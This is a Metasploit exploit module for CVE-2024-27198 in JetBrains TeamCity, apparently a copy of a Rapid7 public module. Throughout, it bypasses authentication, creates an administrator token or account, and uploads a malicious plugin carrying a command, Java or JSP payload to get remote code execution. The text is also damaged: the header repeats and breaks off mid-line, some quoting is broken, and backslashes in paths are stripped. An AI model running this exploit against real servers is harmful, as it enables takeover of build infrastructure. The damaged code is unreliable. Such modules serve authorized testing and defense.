##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated
attacker can leverage this to access the REST API and create a new administrator access token. This token
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
so the exploit will instead create a new administrator account before uploading a plugin. Older version of
TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,
however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code
execution instead, as this is supported on all versions tested.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # Discovery, Analysis, Exploit
],
'References' => [
['CVE', '2024-27198'],
['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'],
['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/']
],
'DisclosureDate' => '2024-03-04',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD],
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
# Tested against:
# * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
# * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022
# * TeamCity 2023.11.3 (build 147512) running on Linux
# * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
'Targets' => [
[
'Java', {
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
# We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to
# happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown
# reason Spawn > 0 will not work against TeamCity on Linux.
'Spawn' => 0
}
}
],
[
'Java Server Page', {
'Platform' => %w[win linux unix],
'Arch' => ARCH_JAVA
}
],
[
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'Linux Command', {
'Platform' => 'linux',
'Arch' => ARCH_CMD
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on
# port 80 by default).
Opt::RPORT(8111),
OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),
# The first user created during installation is an administrator account, so the ID will be 1.
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1])
]
)
end

# This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated.
def send_auth_bypass_request_cgi(opts = {})
# The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
vars_get = {
'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
}

# Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
0.upto(rand(8)) do
vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
end

opts['vars_get'] ||= {}

opts['vars_get'].merge!(vars_get)

opts['shuffle_get_params'] = true

opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))

send_request_cgi(opts)
end

def check
# We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
# target is vulnerable.
server_res = send_auth_bypass_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
)

return CheckCode::Unknown('Connection failed') unless server_res

# A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden)
return CheckCode::Safe if server_res.code == 403

return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200

# We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the
# check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target
# platform can help inform the user what payload target to choose (i.e. Windows or Linux).
sysprop_res = send_auth_bypass_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties')
)

platform = ''

if sysprop_res&.code == 200
xml_sysprop_data = sysprop_res.get_xml_document

os_name = xml_sysprop_data&.at('property[name="os.name"]')

platform = " running on #{os_name.attr('value')}" if os_name
end

xml_server_data = server_res.get_xml_document

server_data = xml_server_data&.at('server')

version = " #{server_data.attr('version')}" if server_data

CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.")
end

def exploit
#
# 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)
# do not have support for access token, so we fall back to creating a new administrator account. The benefit
# of using an access token is we can delete it when we are finished, unlike a user account.
#
token_name = Rex::Text.rand_text_alphanumeric(8)

res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
)

if res && (res.code == 404) && res.body.include?('api.NotFoundException')

print_warning('Tokens API not found, falling back to creating an admin user.')

token_name = nil
token_value = nil

http_authorization = auth_new_admin_user

fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end

fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end

# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s

fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?

print_status("Created authentication token: #{token_value}")

http_authorization = "Bearer #{token_value}"
end

# As we have created an access token, this begin block ensures we delete the token when we are done.
begin
#
# 2. Create a malicious TeamCity plugin to host our payload.
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)

zip_plugin = create_payload_plugin(plugin_name)

fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?

#
# 3. Upload the payload plugin to the TeamCity server
#
print_status("Uploading plugin: #{plugin_name}")

message = Rex::MIME::Message.new

message.add_part(
"#{plugin_name}.zip",
nil,
nil,
'form-data; name="fileName"'
)

message.add_part(
zip_plugin.pack.to_s,
'application/octet-stream',
'binary',
"form-data; name="file:fileToUpload"; filename="#{plugin_name}.zip""
)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'data' => message.to_s
)

fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200

#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'loadAll',
'plugins' => plugin_name
}
)

fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200

# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 5. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(http_authorization))
vprint_status("Target install path: #{install_path}")

if target['Arch'] == ARCH_JAVA
# The Java payload plugin will have its buildServerResources extracted to a path like:
# C:TeamCitywebappsROOTpluginsyxfyjrBQ
# So we register this for cleanup.
# Note: The java process may recreate this a second time after we delete it.
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
end

if (build_number = get_build_number(http_authorization))
vprint_status("Target build number: #{build_number}")

# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
# path like: C:TeamCityworkCatalinalocalhostROOTTC_147512_6vDwPWJsorgapachejspplugins\_6vDwPWJs
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
# it will be empty.
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
else
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
end
else
print_warning('Could not discover install path. Unable to register files for cleanup.')
end

# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
if (data_path = get_data_dir_path(http_authorization))
vprint_status("Target data directory path: #{data_path}")

register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
else
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
end

#
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
#
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
end
ensure
#
# 7. Ensure we delete the plugin from the server when we are finished.
#
print_status('Deleting the plugin...')

print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
end
ensure
#
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
# password, we cannot delete the user account we created.
#
if token_name && token_value
print_status('Deleting the authentication token...')

print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
end
end
end

def auth_new_admin_user
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16)

res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
'ctype' => 'application/json',
'data' => {
'username' => admin_username,
'password' => admin_password,
'name' => Faker::Name.name,
'email' => Faker::Internet.email(name: admin_username),
'roles' => {
'role' => [
{
'roleId' => 'SYSTEM_ADMIN',
'scope' => 'g'
}
]
}
}.to_json
)

unless res&.code == 200
print_warning('Failed to create an administrator user.')
return nil
end

print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")

http_authorization = basic_auth(admin_username, admin_password)

# Login via HTTP basic authorization and store the session cookie.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401
print_warning('Failed to login with new admin user credentials.')
return nil
end

http_authorization
end

def create_payload_plugin(plugin_name)
if target['Arch'] == ARCH_CMD

case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
when 'linux', 'unix'
shell = '/bin/sh'
flag = '-c'
else
print_warning('Unsupported target platform.')
return nil
end

zip_resources = Rex::Zip::Archive.new

zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
default-autowire="constructor">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
XML
)
elsif target['Arch'] == ARCH_JAVA
# If the platform is java we can bootstrap a Java Meterpreter
if target['Platform'] == 'java'
zip_resources = payload.encoded_jar(random: true)

# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)

payload_bean_id = Rex::Text.rand_text_alpha(8)

# We start the payload in a new thread via some Spring Expression Language (SpEL).
bootstrap_spel = "#{ new java.lang.Thread(#{payload_bean_id}).start() }"

# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.

zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
<bean class="java.beans.Encoder">
<property name="exceptionListener" value="#{bootstrap_spel}"/>
</bean>
</beans>
XML
)
else
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
zip_resources = Rex::Zip::Archive.new

zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
end

else
print_warning('Unsupported target architecture.')
return nil
end

zip_plugin = Rex::Zip::Archive.new

zip_plugin.add_file(
'teamcity-plugin.xml',
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
<info>
<name>#{plugin_name}</name>
<display-name>#{plugin_name}</display-name>
<description>#{Faker::Lorem.sentence}</description>
<version>#{Faker::App.semantic_version}</version>
<vendor>
<name>#{Faker::Company.name}</name>
<url>#{Faker::Internet.url}</url>
</vendor>
</info>
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>
XML
)

zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)

zip_plugin
end

def get_install_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request plugins information.')
return nil
end

plugins_xml = res.get_xml_document

restapi_data = plugins_xml.at("//plugin[@name='rest-api']")

restapi_load_path = restapi_data&.attr('loadPath')

if restapi_load_path.nil?
print_warning('Failed to extract plugin loadPath.')
return nil
end

# C:TeamCitywebappsROOTWEB-INFplugins est-api

platforms = {
'\webapps\ROOT\WEB-INF\plugins\' => '\',
'/webapps/ROOT/WEB-INF/plugins/' => '/'
}

platforms.each do |path, sep|
if (pos = restapi_load_path.index(path))
return [restapi_load_path[0, pos], sep]
end
end

print_warning('Failed to extract install path.')
nil
end

def get_data_dir_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request data directory path.')
return nil
end

res.body
end

def get_build_number(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)

unless res&.code == 200
print_warning('Failed to request server information.')
return nil
end

xml_data = res.get_xml_document

server_data = xml_data.at('server')

server_data.attr('buildNumber')
end

def get_plugin_uuid(http_authorization, plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_get' => {
'item' => 'plugins'
}
)

unless res&.code == 200
print_warning('Failed to list all plugins.')
return nil
end

uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)

if uuid_match&.length != 2
print_warning('Failed to grep for plugin GUID')
return nil
end

uuid_match[1]
end

def delete_plugin(http_authorization, plugin_name)
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

if plugin_uuid.nil?
print_warning('Failed to discover enabled plugin UUID')
return false
end

vprint_status("Enabled Plugin UUID: #{plugin_uuid}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'setEnabled',
'enabled' => 'false',
'uuid' => plugin_uuid
}
)

unless res&.code == 200
print_warning('Failed to disable the plugin.')
return false
end

# The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time.
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)

if plugin_uuid.nil?
print_warning('Failed to discover disabled plugin UUID')
return false
end

vprint_status("Disabled Plugin UUID: #{plugin_uuid}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'delete',
'uuid' => plugin_uuid
}
)

unless res&.code == 200
print_warning('Failed request for plugin deletion.')
return false
end

true
end

def delete_token(token_name, token_value)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => "Bearer #{token_value}"
},
'vars_post' => {
'accessTokenName' => token_name,
'delete' => 'true',
'userId' => datastore['TEAMCITY_ADMIN_ID']
}
)

res&.code == 200
end

end